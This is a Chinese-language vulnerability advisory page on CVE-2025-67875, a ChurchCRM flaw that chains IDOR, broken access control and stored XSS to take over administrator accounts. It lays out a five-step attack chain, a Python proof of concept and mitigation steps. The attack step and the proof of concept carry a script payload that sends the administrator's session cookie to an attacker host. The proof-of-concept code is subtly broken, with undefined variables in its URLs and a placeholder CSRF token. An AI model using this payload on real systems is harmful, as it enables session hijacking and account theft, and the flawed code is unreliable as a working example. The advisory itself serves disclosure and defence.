IPBUF安全漏洞报告
English
CVE-2025-67875 CVSS 5.4 中危

CVE-2025-67875 ChurchCRM持久性XSS漏洞导致管理员账户接管

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-67875
漏洞类型
XSS、IDOR、Broken Access Control
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
ChurchCRM

相关标签

CVE-2025-67875ChurchCRMXSSIDORBroken Access Control持久性跨站脚本特权升级会话劫持账户接管Web应用安全

漏洞概述

ChurchCRM是一款开源教堂管理系统,广泛应用于各类宗教组织进行成员管理、活动规划和捐赠跟踪等日常运营工作。该系统存在一个严重的安全漏洞,编号为CVE-2025-67875,影响6.5.3版本之前的所有版本。漏洞的核心问题在于系统未能正确实施访问控制机制,允许具有中等权限的认证用户(拥有"Edit Records"和"Manage Properties and Classifications"权限)利用不安全的直接对象引用(IDOR)缺陷访问任意用户的个人资料页面,并通过Broken Access Control漏洞修改其他用户的记录属性。攻击者利用这一组合漏洞可以在管理员的个人资料中注入持久性跨站脚本(XSS)载荷,当管理员查看自己的个人资料时,恶意脚本便会执行,从而实现会话劫持、管理员权限滥用,最终可能导致完整的账户接管和系统全面沦陷。由于该XSS载荷具有持久性特性,攻击者可以长期维持对管理员账户的控制,严重威胁组织的数据安全和隐私保护。

技术细节

该漏洞是一个典型的组合型特权升级漏洞,由三个独立但相互关联的安全缺陷组成。首先是IDOR(不安全的直接对象引用)漏洞:系统通过用户ID直接引用用户对象进行访问,但未验证当前登录用户是否有权访问该ID对应的资源。攻击者只需修改请求中的用户ID参数即可查看任意用户的个人资料页面。其次是Broken Access Control(访问控制失效)漏洞:系统对用户属性的修改权限验证不足,具有一般编辑权限的用户可以修改任意其他用户的记录属性,包括管理员。最后是Persistent XSS(持久性跨站脚本)漏洞:攻击者利用上述两个漏洞,在修改用户属性时注入恶意JavaScript代码。由于该属性会存储在数据库中并在管理员查看个人资料时回显,因此形成持久性XSS攻击面。攻击者可以利用此漏洞窃取管理员的会话Cookie、执行任意管理操作、修改系统配置,甚至创建新的管理员账户。攻击的成功依赖于目标管理员查看其个人资料页面这一用户交互行为(UI:R),这符合社交工程攻击的典型模式。

攻击链分析

STEP 1
步骤1:侦察与权限获取
攻击者首先注册一个ChurchCRM账户,获取具有'Edit Records'和'Manage Properties and Classifications'权限的中等级别账户。利用该账户登录系统后,开始漏洞利用过程。
STEP 2
步骤2:IDOR漏洞利用-枚举用户ID
攻击者利用IDOR漏洞,通过遍历用户ID参数(如/person/1、/person/2等)访问系统中任意用户的个人资料页面。系统未正确验证当前用户是否有权访问目标用户资料,导致信息泄露。
STEP 3
步骤3:Broken Access Control漏洞利用-注入XSS载荷
攻击者利用Broken Access Control漏洞,使用中权限账户通过API接口修改管理员用户的属性记录。在属性值字段中注入持久性JavaScript XSS载荷,如:<script>document.location='https://evil.com/steal?c='+document.cookie</script>。
STEP 4
步骤4:社交工程-诱导管理员查看资料
攻击者通过社交工程手段诱导管理员访问其个人资料页面,或等待管理员在正常使用系统过程中查看自己的个人资料。此时,存储在管理员资料中的恶意脚本被执行。
STEP 5
步骤5:会话劫持与账户接管
XSS载荷执行后,攻击者成功窃取管理员的会话Cookie或执行任意管理员操作。攻击者可利用窃取的凭证创建新管理员账户、修改系统配置、访问敏感数据,实现完整的账户接管和持久化控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2025-67875 PoC - ChurchCRM Persistent XSS via IDOR + Broken Access Control BASE_URL = "http://target-churchcrm.com" LOGIN_URL = f"{BASE_URL}/session/login" PROFILE_URL = f"{BASE_URL}/person/{user_id}" UPDATE_PROPERTY_URL = f"{BASE_URL}/api/person/{target_user_id}/property" # Step 1: Authenticate with a low-privilege account session = requests.Session() login_data = { "Username": "[email protected]", "Password": "attacker_password" } response = session.post(LOGIN_URL, data=login_data) # Step 2: Exploit IDOR to view admin profile (enumerate user IDs) admin_user_id = 1 # Usually admin has ID=1 response = session.get(f"{BASE_URL}/person/{admin_user_id}") # Step 3: Inject persistent XSS payload via Broken Access Control xss_payload = "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" property_data = { "PropertyId": "CustomField", "Value": xss_payload, "csrf_token": "extract_csrf_token_from_response" } response = session.post(UPDATE_PROPERTY_URL, data=property_data) # Step 4: When admin views their profile, XSS executes and steals session print("XSS payload injected. Wait for admin to view their profile.")

影响范围

ChurchCRM < 6.5.3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)禁用或限制'Edit Records'和'Manage Properties and Classifications'权限的分配,仅授予绝对必要的用户;2)实施用户访问审计,监控用户资料访问和属性修改行为;3)在Web应用防火墙(WAF)中配置XSS防护规则,拦截恶意脚本注入请求;4)提醒管理员不要轻易点击来历不明的链接,定期清除浏览器Cookie;5)考虑临时禁用用户资料自定义属性功能,直至完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表